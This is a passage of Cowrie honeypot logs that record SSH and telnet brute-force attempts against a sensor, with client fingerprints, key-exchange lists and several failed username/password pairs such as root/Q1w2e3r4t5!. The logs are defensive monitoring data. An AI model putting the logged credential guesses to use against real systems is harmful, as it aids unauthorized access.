2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:37.228317Z","src_ip":"91.92.40.176","session":"7ed62d905f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"qwerty","message":"login attempt [apache/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:37.490995Z","src_ip":"91.92.40.176","session":"7ed62d905f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:38.575315Z","src_ip":"91.92.40.176","session":"7ed62d905f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":59144,"dst_ip":"159.203.135.109","dst_port":22,"session":"f34eb08c296b","protocol":"ssh","message":"New connection: 154.205.134.214:59144 (159.203.135.109:22) [session: f34eb08c296b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:27.528348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:27.532984Z","src_ip":"154.205.134.214","session":"f34eb08c296b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:27.684176Z","src_ip":"154.205.134.214","session":"f34eb08c296b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4t5!","message":"login attempt [root/Q1w2e3r4t5!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:28.317967Z","src_ip":"154.205.134.214","session":"f34eb08c296b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:29.472507Z","src_ip":"154.205.134.214","session":"f34eb08c296b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.45.254","src_port":37558,"dst_ip":"10.17.0.5","dst_port":22,"session":"815848a9de94","protocol":"ssh","message":"New connection: 45.43.45.254:37558 (10.17.0.5:22) [session: 815848a9de94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:30.440415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:30.443934Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:30.632566Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:94:09:ea:71:93:77:fa:e5:7f:0e:31:87:4e:51:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsvsRGIJgIUWiaxD4LQIbt4VDBO5Bn/vqRF2ziLqBTDYQzevAvWXd2nmuLdXIK8iHjAGCO+g6k3FcXACfYYyLq1VsDPNjJ6jy1TrumQONBZqmWBypVwbb6zafqHtO5ksxRTjT3dJmyWGc9gsG/oUjW52yDrpS0Vw8AT+H8p/3mWWMjqroRpWLPPpPPLzoeKh/yXH9fSnRpUuxDx8TuOw3J9/n0CPgikvjjacBRNDvbXW5xp+df5+0a4eHGm9dvJLsNp4KQQx9ANwdsuQ8SvWgCFKGTp2eEc/lLb7Ul3tWtSa8FeVXgyZy4NWsNxZm3S2p+oYf/OH7diTUm3bttgCl2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:94:09:ea:71:93:77:fa:e5:7f:0e:31:87:4e:51:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:31.556654Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:94:09:ea:71:93:77:fa:e5:7f:0e:31:87:4e:51:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsvsRGIJgIUWiaxD4LQIbt4VDBO5Bn/vqRF2ziLqBTDYQzevAvWXd2nmuLdXIK8iHjAGCO+g6k3FcXACfYYyLq1VsDPNjJ6jy1TrumQONBZqmWBypVwbb6zafqHtO5ksxRTjT3dJmyWGc9gsG/oUjW52yDrpS0Vw8AT+H8p/3mWWMjqroRpWLPPpPPLzoeKh/yXH9fSnRpUuxDx8TuOw3J9/n0CPgikvjjacBRNDvbXW5xp+df5+0a4eHGm9dvJLsNp4KQQx9ANwdsuQ8SvWgCFKGTp2eEc/lLb7Ul3tWtSa8FeVXgyZy4NWsNxZm3S2p+oYf/OH7diTUm3bttgCl2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:31.559409Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:05:e8:51:70:85:a7:29:b2:2a:71:78:74:29:55:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCseTF6cGHLmd3rVqJ+WMRca0OcuyplQjm4qFrLgKvma/i4riKvTjCqwS3FRjukelgBlxY7U1DfjCtP8FptBJbuJsdz0b2ymClym45E1917GkiSOHsVisqVWOzSmOu3N3gEKjDL6tuEOB7ig+myLyZiX1JAkdU+oMGCQGQgI7ktoKmKhzcMaaJcUy4+bUPHwxrdgHV+/x+XCq/wgVnSKe69Y+lYTuXcC81YrFlFYFtY+LEHu/o4hnAjehqUisvXvU4c1Bmkbsis7rJPZvq4a1N32vu1h8AMLRWJRHZbdVRihaCrQ/8j5am67P6hiNTMbxyhTjnYKWzruXdpvegk5Dr3xSMXkZ/KjsMdOLt7cZ8ntdsRdouS2OjylI8urZGPVMEU/8KKG6LgAyQnj9NHBTbDhXOJiJ+ez3E7UJc1PiiHpfL1vnr1S3Dba+Sf0qYdBjdzBAfmkbsXYdifNMoQMd7A+gt9xS1z1kOFFRP+RuB++pSJMiljyQw8x65Ur9L3QBuLGBj+MHwQunMofm466qgG06UUen2Na6N5/0jFNxdnYUCF9CQXb7/N6SZ7pVJe3TBGQdl8feW/8GKLdVYY5OiRxnbj3Khkvmkt6drDk3eVsKfLclHh7fTT1+p1RMq3vHgTP8Lsh9Vhf139ZD7rrVFCWaPZgCIuPvxIX0Y7qwXjBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:05:e8:51:70:85:a7:29:b2:2a:71:78:74:29:55:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:31.748992Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:05:e8:51:70:85:a7:29:b2:2a:71:78:74:29:55:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCseTF6cGHLmd3rVqJ+WMRca0OcuyplQjm4qFrLgKvma/i4riKvTjCqwS3FRjukelgBlxY7U1DfjCtP8FptBJbuJsdz0b2ymClym45E1917GkiSOHsVisqVWOzSmOu3N3gEKjDL6tuEOB7ig+myLyZiX1JAkdU+oMGCQGQgI7ktoKmKhzcMaaJcUy4+bUPHwxrdgHV+/x+XCq/wgVnSKe69Y+lYTuXcC81YrFlFYFtY+LEHu/o4hnAjehqUisvXvU4c1Bmkbsis7rJPZvq4a1N32vu1h8AMLRWJRHZbdVRihaCrQ/8j5am67P6hiNTMbxyhTjnYKWzruXdpvegk5Dr3xSMXkZ/KjsMdOLt7cZ8ntdsRdouS2OjylI8urZGPVMEU/8KKG6LgAyQnj9NHBTbDhXOJiJ+ez3E7UJc1PiiHpfL1vnr1S3Dba+Sf0qYdBjdzBAfmkbsXYdifNMoQMd7A+gt9xS1z1kOFFRP+RuB++pSJMiljyQw8x65Ur9L3QBuLGBj+MHwQunMofm466qgG06UUen2Na6N5/0jFNxdnYUCF9CQXb7/N6SZ7pVJe3TBGQdl8feW/8GKLdVYY5OiRxnbj3Khkvmkt6drDk3eVsKfLclHh7fTT1+p1RMq3vHgTP8Lsh9Vhf139ZD7rrVFCWaPZgCIuPvxIX0Y7qwXjBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:31.752519Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:8e:87:5a:d4:0f:01:eb:80:cb:10:72:15:e6:b9:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzSYi7dqGagcpoqFxHgAva3ZpEOloqH7RL7EAnnoa82cTK25thIv463ilgWdAawydib7KLzySdJdXsM+Y4LlXFeBMX16j6hggzOwcjMNbeTPPpTgkv+nRl8e14HOCgbon/McT+CszvbB6bvnYVD3V067TX5sYpUtJdM88xuiqydV+QiGFCqsSHenfy5als003k/bcGdA3vWyE868sUZBcKN/P/jWCIrAaix3bHCxmTF1XDGliAr9avZVrAXllR5WaDYQi54ixjCk750xk7ddZkpEj+4bgkSXKZF6QWZyF1rJLjsTXiZJ7AHRn+oiQseiUngVrWzzxdRcNWOB0DU/xz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:8e:87:5a:d4:0f:01:eb:80:cb:10:72:15:e6:b9:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:31.943936Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:8e:87:5a:d4:0f:01:eb:80:cb:10:72:15:e6:b9:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzSYi7dqGagcpoqFxHgAva3ZpEOloqH7RL7EAnnoa82cTK25thIv463ilgWdAawydib7KLzySdJdXsM+Y4LlXFeBMX16j6hggzOwcjMNbeTPPpTgkv+nRl8e14HOCgbon/McT+CszvbB6bvnYVD3V067TX5sYpUtJdM88xuiqydV+QiGFCqsSHenfy5als003k/bcGdA3vWyE868sUZBcKN/P/jWCIrAaix3bHCxmTF1XDGliAr9avZVrAXllR5WaDYQi54ixjCk750xk7ddZkpEj+4bgkSXKZF6QWZyF1rJLjsTXiZJ7AHRn+oiQseiUngVrWzzxdRcNWOB0DU/xz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:31.949253Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:9e:e7:63:19:15:30:a6:88:6d:ed:08:27:83:a1:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgWl2ttbzVkmBZsY4HK4rYc/+ZUupVWko9gxZAUvkeKYR3lpADLrs5OMRCXfDR3pbunw52G2UljaBZqClEXaCuMSKkkBIl7pm4eaCA9zP0SePndnj2lrEkfV/2F28bs7Pkt/jNhw6nO+N6qaFiEEkbszaqi+S08v7mLz1u4TY4DoVpdJj1TmtDF5bbPjzwztW303rtntAUpAlM/IgBuHO2cTelB/l37SMQtOVdm52vvIG9oTki1lmuO/lpxAV8Hld2zXifquepvW32P99sjO8bh3wNdd1EZ/VTNcRtnNR7dxxpAlgyXGZI9dr78wqdyv44/+B++3ZFsjXin54RxfeD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:9e:e7:63:19:15:30:a6:88:6d:ed:08:27:83:a1:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:32.138838Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:9e:e7:63:19:15:30:a6:88:6d:ed:08:27:83:a1:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgWl2ttbzVkmBZsY4HK4rYc/+ZUupVWko9gxZAUvkeKYR3lpADLrs5OMRCXfDR3pbunw52G2UljaBZqClEXaCuMSKkkBIl7pm4eaCA9zP0SePndnj2lrEkfV/2F28bs7Pkt/jNhw6nO+N6qaFiEEkbszaqi+S08v7mLz1u4TY4DoVpdJj1TmtDF5bbPjzwztW303rtntAUpAlM/IgBuHO2cTelB/l37SMQtOVdm52vvIG9oTki1lmuO/lpxAV8Hld2zXifquepvW32P99sjO8bh3wNdd1EZ/VTNcRtnNR7dxxpAlgyXGZI9dr78wqdyv44/+B++3ZFsjXin54RxfeD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:32.141636Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:8c:2e:29:86:4a:c2:e7:8a:19:e4:5d:35:61:ad:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0t/dA/5OZPHmmwRY/+dBK04Wc0i9lKotPeX2xCIPSDquOzKvNlHf/aR67HjeXFRO0VBmFUO9djozXW2jCl7YiQICSYSH2h9wbK4jjdYvmo1EaYKfR+GQv5NkvMYW01Hqw+e2shRpEI6IcCfyfVezKxBw8FsiubkZmlS5RBcdAKmdE5J1zU9R733zIfYBp9NDYIMLZmHVtsIUJs3KqFnkn8HUHFfyyVAhkwNqYUfoSOzn6V15910hRIIT25+zduo3ztvcMCQOdiXKeh8alIL8jZ99ju53T8Ad0KDjg2OCTgyLbUUq2ihfSTFFl/3Owdb/v/ke/c9orRv02BU8Ge6+J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:8c:2e:29:86:4a:c2:e7:8a:19:e4:5d:35:61:ad:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:32.331048Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:8c:2e:29:86:4a:c2:e7:8a:19:e4:5d:35:61:ad:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0t/dA/5OZPHmmwRY/+dBK04Wc0i9lKotPeX2xCIPSDquOzKvNlHf/aR67HjeXFRO0VBmFUO9djozXW2jCl7YiQICSYSH2h9wbK4jjdYvmo1EaYKfR+GQv5NkvMYW01Hqw+e2shRpEI6IcCfyfVezKxBw8FsiubkZmlS5RBcdAKmdE5J1zU9R733zIfYBp9NDYIMLZmHVtsIUJs3KqFnkn8HUHFfyyVAhkwNqYUfoSOzn6V15910hRIIT25+zduo3ztvcMCQOdiXKeh8alIL8jZ99ju53T8Ad0KDjg2OCTgyLbUUq2ihfSTFFl/3Owdb/v/ke/c9orRv02BU8Ge6+J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:32.334017Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:32.524049Z","src_ip":"45.43.45.254","session":"815848a9de94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3161315735f","protocol":"telnet","message":"New connection: 170.64.224.25:42434 (159.203.135.109:23) [session: b3161315735f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:51:59.792907Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":33100,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a596e42b1b","protocol":"ssh","message":"New connection: 132.148.142.226:33100 (159.203.135.109:22) [session: 47a596e42b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:03.414189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:03.417610Z","src_ip":"132.148.142.226","session":"47a596e42b1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:03.518929Z","src_ip":"132.148.142.226","session":"47a596e42b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cz","password":"Binance$Tr0ng!P#ss99","message":"login attempt [cz/Binance$Tr0ng!P#ss99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:03.719376Z","src_ip":"132.148.142.226","session":"47a596e42b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41120,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a158f9a198","protocol":"telnet","message":"New connection: 94.23.66.112:41120 (10.17.0.5:23) [session: e2a158f9a198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:04.365211Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:04.790359Z","src_ip":"132.148.142.226","session":"47a596e42b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":45524,"dst_ip":"159.203.135.109","dst_port":22,"session":"72061fa97c33","protocol":"ssh","message":"New connection: 172.190.89.127:45524 (159.203.135.109:22) [session: 72061fa97c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:17.654175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:17.657273Z","src_ip":"172.190.89.127","session":"72061fa97c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:17.669357Z","src_ip":"172.190.89.127","session":"72061fa97c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@12345","message":"login attempt [root/qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:17.745971Z","src_ip":"172.190.89.127","session":"72061fa97c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:52:18.758180Z","src_ip":"172.190.89.127","session":"72061fa97c33","protocol":"ssh"}
